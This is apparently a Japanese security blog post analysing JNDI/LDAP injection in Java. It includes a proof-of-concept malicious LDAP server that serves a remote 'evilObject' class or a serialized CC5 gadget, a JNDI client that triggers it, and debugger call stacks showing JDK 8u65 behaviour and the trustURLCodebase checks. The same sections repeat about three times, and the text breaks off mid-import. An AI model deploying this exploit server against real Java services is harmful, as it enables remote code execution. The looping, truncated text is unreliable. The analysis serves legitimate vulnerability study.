Obj#decodeObject内には、反序列化を行うdeserializeObject()が存在し、ldapサーバーから返されたデータが反序列化されます。利用可能な依存関係があれば、gadget を利用できます。

そのため、JAVA_ATTRIBUTES[1]、すなわちjavaSerializedDataに値を設定する必要があります。

poc#
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {


        String url = "http://127.0.0.1:8080/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 戻りシリアライズGadget
//            try {
//                e.addAttribute("javaSerializedData", CC5.getpayload());
//            } catch (Exception exception) {
//                exception.printStackTrace();
//            }

//             Payload3: 戻りシリアライズGadget
            e.addAttribute("javaClassName", "foo");
            try {
                e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
            } catch (Exception ex) {
                throw new RuntimeException(ex);
            }
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}
public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

低バージョン jdk の分析#

jdk8u65

image

最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContextに入ります。

image

ResourceManager#getFactoryに入ります。

image

classSuffixはプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;が行われます。

image

その後、ldapURLContextFactory.getObjectInstanceが呼び出され、ldapのコンテキスト(ldapURLContext)が返されます。

image

その後、this.getRootURLContextが呼び出され、var3LdapCtxであり、これにより後続の流れが RMI とは異なることになります。

image

c_lookup#

lookup を進めると、

image

LdapCtx#doSearchOnceldapにリクエストを送信し、値を取得します。

image

その後、サーバーはこの値をclient側に送信します。

戻ってきた値からattributes属性を取得します。

image

javaClassNameが設定されているため、Obj#decodeObjectに入ります。

image

最後の else に入ります:

return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。

image

ここで、getObjectInstance()が呼び出され、その後のロジックは RMI と同じです。

image

image

evilObject をインスタンス化して RCE を実行します。

小結#

上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。

ldap 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)

rmi 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)

var8.getFactoryClassLocation()の検出はrmidecodeObject内で行われますが、ldapプロトコルは他の lookup を呼び出し、decodeObjectを呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。

したがって、8u113~8u190の間、com.sun.jndi.rmi.object.trustURLCodebaseのデフォルト値はfalseであり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。

高バージョン jdk の分析#

8u191 以降、リモートクラスをロードする際にtrustURLCodebaseの判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。

image

image

反序列化#

image

Obj#decodeObject内には、反序列化を行うdeserializeObject()が存在し、ldapサーバーから返されたデータが反序列化されます。利用可能な依存関係があれば、gadget を利用できます。

そのため、JAVA_ATTRIBUTES[1]、すなわちjavaSerializedDataに値を設定する必要があります。

poc#
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {


        String url = "http://127.0.0.1:8080/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 戻りシリアライズGadget
//            try {
//                e.addAttribute("javaSerializedData", CC5.getpayload());
//            } catch (Exception exception) {
//                exception.printStackTrace();
//            }

//             Payload3: 戻りシリアライズGadget
            e.addAttribute("javaClassName", "foo");
            try {
                e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
            } catch (Exception ex) {
                throw new RuntimeException(ex);
            }
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}
public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

低バージョン jdk の分析#

jdk8u65

image

最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContextに入ります。

image

ResourceManager#getFactoryに入ります。

image

classSuffixはプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;が行われます。

image

その後、ldapURLContextFactory.getObjectInstanceが呼び出され、ldapのコンテキスト(ldapURLContext)が返されます。

image

その後、this.getRootURLContextが呼び出され、var3LdapCtxであり、これにより後続の流れが RMI とは異なることになります。

image

c_lookup#

lookup を進めると、

image

LdapCtx#doSearchOnceldapにリクエストを送信し、値を取得します。

image

その後、サーバーはこの値をclient側に送信します。

戻ってきた値からattributes属性を取得します。

image

javaClassNameが設定されているため、Obj#decodeObjectに入ります。

image

最後の else に入ります:

return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。

image

ここで、getObjectInstance()が呼び出され、その後のロジックは RMI と同じです。

image

image

evilObject をインスタンス化して RCE を実行します。

小結#

上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。

ldap 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)

rmi 呼び出しスタック

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)

var8.getFactoryClassLocation()の検出はrmidecodeObject内で行われますが、ldapプロトコルは他の lookup を呼び出し、decodeObjectを呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。

したがって、8u113~8u190の間、com.sun.jndi.rmi.object.trustURLCodebaseのデフォルト値はfalseであり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。

高バージョン jdk の分析#

8u191 以降、リモートクラスをロードする際にtrustURLCodebaseの判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。

image

image

反序列化#

image

Obj#decodeObject内には、反序列化を行うdeserializeObject()が存在し、ldapサーバーから返されたデータが反序列化されます。利用可能な依存関係があれば、gadget を利用できます。

そのため、JAVA_ATTRIBUTES[1]、すなわちjavaSerializedDataに値を設定する必要があります。

poc#
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。